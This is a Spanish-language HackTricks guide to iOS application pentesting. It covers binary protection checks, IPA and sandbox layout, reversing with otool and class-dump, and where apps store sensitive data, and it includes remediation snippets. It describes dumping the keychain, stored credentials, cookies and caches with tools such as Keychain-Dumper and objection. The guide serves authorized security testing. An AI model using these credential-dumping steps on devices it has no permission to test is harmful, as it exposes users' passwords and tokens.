hacktricks/mobile-pentesting/ios-pentesting/README.md

# iOS Pentesting

<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias **más avanzadas** del mundo.\
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## Conceptos Básicos de iOS

{% content-ref url="ios-basics.md" %}
[ios-basics.md](ios-basics.md)
{% endcontent-ref %}

## Entorno de Pruebas

En esta página puedes encontrar información sobre el **simulador de iOS**, **emuladores** y **jailbreaking**:

{% content-ref url="ios-testing-environment.md" %}
[ios-testing-environment.md](ios-testing-environment.md)
{% endcontent-ref %}

## Análisis Inicial

### Operaciones Básicas de Pruebas en iOS

Durante las pruebas **se sugerirán varias operaciones** (conectar al dispositivo, leer/escribir/subir/descargar archivos, usar algunas herramientas...). Por lo tanto, si no sabes cómo realizar alguna de estas acciones, por favor, **comienza leyendo la página**:

{% content-ref url="basic-ios-testing-operations.md" %}
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
{% endcontent-ref %}

{% hint style="info" %}
Para los siguientes pasos **la aplicación debe estar instalada** en el dispositivo y ya se debe haber obtenido el **archivo IPA** de la aplicación.\
Lee la página [Operaciones Básicas de Pruebas en iOS](basic-ios-testing-operations.md) para aprender cómo hacer esto.
{% endhint %}

### Análisis Estático Básico

Se recomienda usar la herramienta [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) para realizar un Análisis Estático automático al archivo IPA.

Identificación de **protecciones presentes en el binario**:

*   **PIE (Ejecutable Independiente de Posición)**: Cuando está habilitado, la aplicación se carga en una dirección de memoria aleatoria cada vez que se inicia, lo que dificulta predecir su dirección de memoria inicial.

```bash
otool -hv <app-binary> | grep PIE   # Debería incluir la bandera PIE
```
*   **Canarios de Pila**: Para validar la integridad de la pila, se coloca un valor 'canario' en la pila antes de llamar a una función y se valida nuevamente una vez que la función termina.

```bash
otool -I -v <app-binary> | grep stack_chk   # Debería incluir los símbolos: stack_chk_guard y stack_chk_fail
```
*   **ARC (Conteo Automático de Referencias)**: Para prevenir fallos comunes de corrupción de memoria

```bash
otool -I -v <app-binary> | grep objc_release   # Debería incluir el símbolo _objc_release
```
*   **Binario Encriptado**: El binario debería estar encriptado

```bash
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # El cryptid debería ser 1
```

**Identificación de Funciones Sensibles/Inseguras**

*   **Algoritmos de Hashing Débiles**

```bash
# En el dispositivo iOS
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# En linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
```
*   **Funciones Aleatorias Inseguras**

```bash
# En el dispositivo iOS
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# En linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
```
*   **Función ‘Malloc’ Insegura**

```bash
# En el dispositivo iOS
otool -Iv <app> | grep -w "_malloc"

# En linux
grep -iER "_malloc"
```
*   **Funciones Inseguras y Vulnerables**

```bash
# En el dispositivo iOS
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# En linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"
```

### Análisis Dinámico Básico

Consulta el análisis dinámico que realiza [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Necesitarás navegar a través de las diferentes vistas e interactuar con ellas, pero estará enganchando varias clases al hacer otras cosas y preparará un informe una vez que hayas terminado.

### Listado de Aplicaciones Instaladas

Cuando te enfoques en aplicaciones que están instaladas en el dispositivo, primero tendrás que determinar el identificador de paquete correcto de la aplicación que quieres analizar. Puedes usar `frida-ps -Uai` para obtener todas las aplicaciones (`-a`) actualmente instaladas (`-i`) en el dispositivo conectado por USB (`-U`):
```bash
$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift
```
### Enumeración Básica y Hooking

Aprende cómo **enumerar los componentes de la aplicación** y cómo **enganchar métodos y clases** fácilmente con objection:

{% content-ref url="ios-hooking-with-objection.md" %}
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
{% endcontent-ref %}

### Estructura de IPA

Los archivos `.ipa` son **paquetes comprimidos**, por lo que puedes cambiar la extensión a `.zip` y **descomprimirlos**. Una aplicación **empaquetada** **completa** lista para ser instalada se conoce comúnmente como **Bundle**.\
Después de descomprimirlos deberías ver `<NAME>.app`, un archivo comprimido que contiene el resto de los recursos.

* `Info.plist`: Un archivo que contiene algunas de las configuraciones específicas de la aplicación.
* `_CodeSignature/` contiene un archivo plist con una firma sobre todos los archivos en el bundle.
* `Assets.car`: Otro archivo comprimido que contiene activos (iconos).
* `Frameworks/` contiene las bibliotecas nativas de la aplicación como archivos .dylib o .framework.
* `PlugIns/` puede contener extensiones de la aplicación como archivos .appex (no presente en el ejemplo).
* [`Core Data`](https://developer.apple.com/documentation/coredata): Se utiliza para guardar los datos permanentes de tu aplicación para uso sin conexión, para almacenar datos temporales y para agregar funcionalidad de deshacer a tu aplicación en un solo dispositivo. Para sincronizar datos en múltiples dispositivos en una sola cuenta de iCloud, Core Data refleja automáticamente tu esquema en un contenedor de CloudKit.
* [`PkgInfo`](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): El archivo `PkgInfo` es una forma alternativa de especificar los códigos de tipo y creador de tu aplicación o bundle.
* **en.lproj, fr.proj, Base.lproj**: Son los paquetes de idiomas que contienen recursos para esos idiomas específicos y un recurso predeterminado en caso de que un idioma no esté soportado.

Hay múltiples formas de definir la UI en una aplicación iOS: archivos _storyboard_, _nib_ o _xib_.

**Info.plist**

La lista de propiedades de información o `Info.plist` es la principal fuente de información para una app iOS. Consiste en un archivo estructurado que contiene pares **clave-valor** que describen información esencial de configuración sobre la app. De hecho, se **espera que** todos los ejecutables empaquetados (extensiones de app, frameworks y apps) tengan un archivo `Info.plist`. Puedes encontrar todas las posibles claves en la [**Documentación para Desarrolladores de Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).

El archivo puede estar formateado en **XML o binario (bplist)**. Puedes **convertirlo a formato XML** con un simple comando:

*   En macOS con `plutil`, que es una herramienta que viene de forma nativa con macOS 10.2 y versiones superiores (actualmente no hay documentación oficial en línea disponible):

```bash
$ plutil -convert xml1 Info.plist
```
*   En Linux:

```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```

Aquí hay una lista no exhaustiva de alguna información y las correspondientes palabras clave que puedes buscar fácilmente en el archivo `Info.plist` simplemente inspeccionando el archivo o usando `grep -i <keyword> Info.plist`:

* Cadenas de propósito de permisos de la app: `UsageDescription`
* Esquemas de URL personalizados: `CFBundleURLTypes`
* Tipos de documentos personalizados exportados/importados: `UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`
* Configuración de App Transport Security (ATS): `NSAppTransportSecurity`

Por favor, consulta los capítulos mencionados para aprender más sobre cómo probar cada uno de estos puntos.

**Rutas de Datos**

En iOS, **las aplicaciones del sistema se pueden encontrar en el directorio `/Applications`** mientras que las apps **instaladas por el usuario** están disponibles bajo **`/private/var/containers/`**. Sin embargo, encontrar la carpeta correcta solo navegando por el sistema de archivos no es una tarea trivial ya que **cada app recibe un UUID (Identificador Único Universal) de 128 bits aleatorio** asignado para los nombres de sus directorios.

Para obtener fácilmente la información del directorio de instalación de las apps instaladas por el usuario puedes usar el comando de **objection `env`** que también te mostrará toda la información del directorio de la app:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
```
También puedes buscar el nombre de la app dentro de **`/private/var/containers`**:
```bash
find /private/var/containers -name "Progname*"
```
O utilizando **`ps`** y **`lsof`**:
```bash
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
```
Como puede ver, las aplicaciones tienen dos ubicaciones principales:

* El **directorio Bundle** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`).
* El **directorio de Datos** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`).

Estas carpetas contienen información que debe ser examinada detenidamente durante las evaluaciones de seguridad de aplicaciones (por ejemplo, al analizar los datos almacenados en busca de datos sensibles).

**Directorio Bundle:**

* **AppName.app**
* Este es el Bundle de Aplicación como se vio anteriormente en el IPA, contiene datos esenciales de la aplicación, contenido estático así como el binario compilado de la aplicación.
* Este directorio es visible para los usuarios, pero **los usuarios no pueden escribir en él**.
* El contenido de este directorio **no se respalda**.
* Los contenidos de esta carpeta se utilizan para **validar la firma de código**.

**Directorio de Datos:**

* **Documents/**
* Contiene todos los datos generados por el usuario. El usuario final de la aplicación inicia la creación de estos datos.
* Visible para los usuarios y **los usuarios pueden escribir en él**.
* El contenido de este directorio **se respalda**.
* La aplicación puede deshabilitar rutas estableciendo `NSURLIsExcludedFromBackupKey`.
* **Library/**
* Contiene todos **los archivos que no son específicos del usuario**, como **cachés**, **preferencias**, **cookies** y archivos de configuración de lista de propiedades (plist).
* Las aplicaciones de iOS generalmente usan los subdirectorios `Application Support` y `Caches`, pero la aplicación puede crear subdirectorios personalizados.
* **Library/Caches/**
* Contiene **archivos en caché semi-persistentes**.
* Invisible para los usuarios y **los usuarios no pueden escribir en él**.
* El contenido de este directorio **no se respalda**.
* El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no está en funcionamiento y el espacio de almacenamiento es bajo.
* **Library/Application Support/**
* Contiene **archivos persistentes** necesarios para el funcionamiento de la aplicación.
* **Invisible** para los usuarios y los usuarios no pueden escribir en él.
* El contenido de este directorio **se respalda**.
* La aplicación puede deshabilitar rutas estableciendo `NSURLIsExcludedFromBackupKey`.
* **Library/Preferences/**
* Se utiliza para almacenar propiedades que pueden **persistir incluso después de que se reinicie una aplicación**.
* La información se guarda, sin cifrar, dentro del sandbox de la aplicación en un archivo plist llamado \[BUNDLE\_ID].plist.
* Todos los pares clave/valor almacenados usando `NSUserDefaults` se pueden encontrar en este archivo.
* **tmp/**
* Utilice este directorio para escribir **archivos temporales** que no necesitan persistir entre lanzamientos de la aplicación.
* Contiene archivos en caché no persistentes.
* **Invisible** para los usuarios.
* El contenido de este directorio no se respalda.
* El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no está en funcionamiento y el espacio de almacenamiento es bajo.

Echemos un vistazo más de cerca al directorio Bundle de la Aplicación iGoat-Swift (.app) dentro del directorio Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt
```
### Inversión de Binarios

Dentro de la carpeta `<application-name>.app` encontrarás un archivo binario llamado `<application-name>`. Este es el archivo que será **ejecutado**. Puedes realizar una inspección básica del binario con la herramienta **`otool`**:
```bash
otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
```
**Comprueba si la aplicación está cifrada**

Verifica si hay alguna salida para:
```bash
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
```
**Desensamblaje del binario**

Desensamble la sección de texto:
```bash
otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268
```
Para imprimir el **segmento Objective-C** de la aplicación de muestra se puede usar:
```bash
otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8
```
Para obtener un código Objective-C más compacto puedes usar [**class-dump**](http://stevenygard.com/projects/class-dump/):
```bash
class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};
```
Sin embargo, las mejores opciones para desensamblar el binario son: [**Hopper**](https://www.hopperapp.com/download.html?) y [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).

<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas**.\
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Almacenamiento de Datos

Para aprender sobre cómo iOS almacena datos en el dispositivo, lee esta página:

{% content-ref url="ios-basics.md" %}
[ios-basics.md](ios-basics.md)
{% endcontent-ref %}

{% hint style="warning" %}
Los siguientes lugares para almacenar información deben ser revisados **justo después de instalar la aplicación**, **después de revisar todas las funcionalidades** de la aplicación e incluso después de **cerrar sesión de un usuario y entrar con otro diferente**.\
El objetivo es encontrar **información sensible desprotegida** de la aplicación (contraseñas, tokens), del usuario actual y de usuarios previamente autenticados.
{% endhint %}

### Plist

Los archivos **plist** son archivos XML estructurados que **contienen pares clave-valor**. Es una forma de almacenar datos persistentes, por lo que a veces puedes encontrar **información sensible en estos archivos**. Se recomienda revisar estos archivos después de instalar la app y después de usarla intensivamente para ver si se escriben nuevos datos.

La forma más común de persistir datos en archivos plist es a través del uso de **NSUserDefaults**. Este archivo plist se guarda dentro del sandbox de la app en **`Library/Preferences/<appBundleID>.plist`**

La clase [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) proporciona una interfaz programática para interactuar con el sistema por defecto. El sistema por defecto permite que una aplicación personalice su comportamiento de acuerdo a **preferencias del usuario**. Los datos guardados por `NSUserDefaults` pueden ser vistos en el paquete de la aplicación. Esta clase almacena **datos** en un archivo **plist**, pero está pensada para ser usada con pequeñas cantidades de datos.

Estos datos ya no pueden ser accedidos directamente a través de un ordenador de confianza, pero pueden ser accedidos realizando un **backup**.

Puedes **volcar** la información guardada usando **`NSUserDefaults`** utilizando el comando de objection `ios nsuserdefaults get`

Para encontrar todos los plist utilizados por la aplicación puedes acceder a `/private/var/mobile/Containers/Data/Application/{APPID}` y ejecutar:
```bash
find ./ -name "*.plist"
```
El archivo puede estar formateado en **XML o binario (bplist)**. Puedes **convertirlo a formato XML** con un simple comando:

*   En macOS con `plutil`, que es una herramienta que viene de forma nativa con macOS 10.2 y versiones superiores (actualmente no hay documentación oficial en línea disponible):

```bash
$ plutil -convert xml1 Info.plist
```
*   En Linux:

```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
*   En una sesión de objection:

```bash
ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist
```

### Core Data

[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) es un marco de trabajo para gestionar la capa de modelo de objetos en tu aplicación. [Core Data puede usar SQLite como su almacén persistente](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), pero el marco en sí no es una base de datos.\
CoreData no cifra sus datos por defecto. Sin embargo, se puede añadir una capa de cifrado adicional a CoreData. Consulta el [Repositorio de GitHub](https://github.com/project-imas/encrypted-core-data) para más detalles.

Puedes encontrar la información de Core Data SQLite de una aplicación en la ruta `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`

**Si puedes abrir SQLite y acceder a información sensible, entonces has encontrado una mala configuración.**

{% code title="Código de iGoat" %}
```objectivec
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}
```
{% endcode %}

### YapDatabase

[YapDatabase](https://github.com/yapstudios/YapDatabase) es un almacén de clave/valor construido sobre SQLite.\
Dado que las bases de datos Yap son bases de datos sqlite, puedes encontrarlas utilizando el comando propuesto en la sección anterior.

### Otras Bases de Datos SQLite

Es común que las aplicaciones creen su propia base de datos sqlite. Pueden estar **almacenando** **datos** **sensibles** en ellas y dejarlos sin cifrar. Por lo tanto, siempre es interesante revisar cada base de datos dentro del directorio de aplicaciones. Por lo tanto, ve al directorio de la aplicación donde se guardan los datos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
### Bases de Datos Firebase en Tiempo Real

Puede ser aprovechada por desarrolladores de aplicaciones para **almacenar y sincronizar datos con una base de datos NoSQL alojada en la nube**. Los datos se almacenan como JSON y se sincronizan en tiempo real con cada cliente conectado y también permanecen disponibles incluso cuando la aplicación está fuera de línea.

Puedes encontrar cómo verificar bases de datos Firebase mal configuradas aquí:

{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
{% endcontent-ref %}

### Bases de datos Realm

[Realm Objective-C](https://realm.io/docs/objc/latest/) y [Realm Swift](https://realm.io/docs/swift/latest/) no son suministrados por Apple, pero aún así vale la pena mencionarlos. **Almacenan todo sin cifrar, a menos que la configuración tenga el cifrado habilitado**.

Puedes encontrar estas bases de datos en `/private/var/mobile/Containers/Data/Application/{APPID}`
```bash
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"
```
Puedes usar la herramienta [**Realm Studio**](https://github.com/realm/realm-studio) para abrir estos archivos de base de datos.

El siguiente ejemplo demuestra cómo usar encriptación con una base de datos Realm:
```swift
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}
```
### Bases de Datos Couchbase Lite

[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) es un motor de base de datos embebido, ligero y orientado a documentos (NoSQL) que puede sincronizarse. Se compila de forma nativa para iOS y macOS.

Busca posibles bases de datos couchbase en `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/`

### Cookies

iOS almacena las cookies de las aplicaciones en **`Library/Cookies/cookies.binarycookies`** dentro de la carpeta de cada aplicación. Sin embargo, los desarrolladores a veces deciden guardarlas en el **keychain** ya que el mencionado **archivo de cookies puede ser accedido en copias de seguridad**.

Para inspeccionar el archivo de cookies puedes usar [**este script de python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) o usar el comando de objection **`ios cookies get`.**\
**También puedes usar objection para** convertir estos archivos a un formato JSON e inspeccionar los datos.
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]
```
### Caché

Por defecto, NSURLSession almacena datos, como **solicitudes y respuestas HTTP en la base de datos Cache.db**. Esta base de datos puede contener **datos sensibles**, si tokens, nombres de usuario u otra información sensible ha sido almacenada en caché. Para encontrar la información en caché, abre el directorio de datos de la app (`/var/mobile/Containers/Data/Application/<UUID>`) y ve a `/Library/Caches/<Bundle Identifier>`. El **caché de WebKit también se almacena en el archivo Cache.db**. **Objection** puede abrir e interactuar con la base de datos con el comando `sqlite connect Cache.db`, ya que es una **base de datos SQLite normal**.

Se **recomienda deshabilitar el almacenamiento en caché de estos datos**, ya que pueden contener información sensible en la solicitud o respuesta. La siguiente lista muestra diferentes maneras de lograr esto:

1. Se recomienda eliminar las respuestas almacenadas en caché después de cerrar sesión. Esto se puede hacer con el método proporcionado por Apple llamado [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Puedes llamar a este método de la siguiente manera:

`URLCache.shared.removeAllCachedResponses()`

Este método eliminará todas las solicitudes y respuestas almacenadas en caché del archivo Cache.db.
2. Si no necesitas utilizar las ventajas de las cookies, se recomendaría simplemente usar la propiedad de configuración [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) de URLSession, la cual deshabilitará el guardado de cookies y cachés.

[Documentación de Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):

`Un objeto de configuración de sesión efímera es similar a una configuración de sesión predeterminada (ver default), excepto que el objeto de sesión correspondiente no almacena cachés, almacenes de credenciales, ni ningún dato relacionado con la sesión en el disco. En cambio, los datos relacionados con la sesión se almacenan en RAM. La única vez que una sesión efímera escribe datos en el disco es cuando le indicas que escriba el contenido de una URL en un archivo.`
3. El caché también puede deshabilitarse estableciendo la Política de Caché a [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Esto deshabilitará el almacenamiento de caché de cualquier forma, ya sea en memoria o en disco.

### Capturas de pantalla

Cada vez que presionas el botón de inicio, iOS **toma una captura de pantalla de la pantalla actual** para poder hacer la transición a la aplicación de una manera mucho más suave. Sin embargo, si **datos sensibles** están presentes en la pantalla actual, estos serán **guardados** en la **imagen** (que **persiste** **a través de** **reinicios**). Estas son las capturas de pantalla a las que también puedes acceder presionando dos veces el botón de inicio para cambiar entre aplicaciones.

A menos que el iPhone esté con jailbreak, el **atacante** necesita tener **acceso** al **dispositivo** **desbloqueado** para ver estas capturas de pantalla. Por defecto, la última captura de pantalla se almacena en el sandbox de la aplicación en la carpeta `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (los ordenadores de confianza no pueden acceder al sistema de archivos desde iOX 7.0).

Una manera de prevenir este mal comportamiento es colocar una pantalla en blanco o eliminar los datos sensibles antes de tomar la captura de pantalla usando la función `ApplicationDidEnterBackground()`.

El siguiente es un método de remediación de muestra que establecerá una captura de pantalla predeterminada.

Swift:
```swift
private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
```
Objetivo-C:
```
@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}
```
Esto establece la imagen de fondo a `overlayImage.png` cada vez que la aplicación se minimiza. Evita fugas de datos sensibles porque `overlayImage.png` siempre sobrescribirá la vista actual.

### Llavero

Herramientas como [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) pueden ser utilizadas para volcar el llavero (el dispositivo debe estar con jailbreak).\
También puedes usar `ios keychain dump` de [**Objection**](https://github.com/sensepost/objection)**.**

**NSURLCredential**

**NSURLCredential** es la clase perfecta para **almacenar nombre de usuario y contraseña en el llavero**. No es necesario preocuparse por NSUserDefaults ni ningún envoltorio del llavero.\
Una vez que el usuario ha iniciado sesión, puedes almacenar su nombre de usuario y contraseña en el llavero:
```swift
NSURLCredential *credential;

credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
```
Puedes usar `ios nsurlcredentialstorage dump` de **Objection** para volcar estos secretos.

## Teclados Personalizados/Caché del Teclado

Desde iOS 8.0, Apple permite instalar extensiones personalizadas para iOS como teclados personalizados.\
Los teclados instalados se pueden gestionar a través de **Configuración** > **General** > **Teclado** > **Teclados**\
Los teclados personalizados pueden usarse para **olfatear** las **pulsaciones de teclas** y enviarlas al servidor del atacante. Sin embargo, ten en cuenta que **se notificará al usuario sobre teclados personalizados que requieran conectividad de red.**\
Además, el **usuario puede cambiar a un teclado diferente** (más confiable) para introducir las credenciales.

Además, **las aplicaciones pueden evitar que sus usuarios utilicen teclados personalizados** dentro de la aplicación (o al menos para partes sensibles de la misma).

{% hint style="warning" %}
Se recomienda no permitir teclados de terceros si consideras que los usuarios no los necesitarán.
{% endhint %}

Ten en cuenta que debido a la autocorrección y las sugerencias automáticas, el teclado predeterminado de iOS capturará y almacenará cada palabra no estándar en un archivo de caché si el atributo **secureTextEntry** no está configurado en **true** o si **autoCorrectionType** no está configurado en **UITextAutoCorrectionTypeNo**.

Por defecto, los teclados **almacenan esta caché** dentro del sandbox de las aplicaciones en el archivo `Library/Keyboard/{locale}-dynamic-text.dat` o en `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Sin embargo, podría estar guardando los datos en otro lugar.\
Es posible restablecer la caché en _**Configuración**_ > _**General**_ > _**Restablecer**_ > _**Restablecer Diccionario del Teclado**_

{% hint style="info" %}
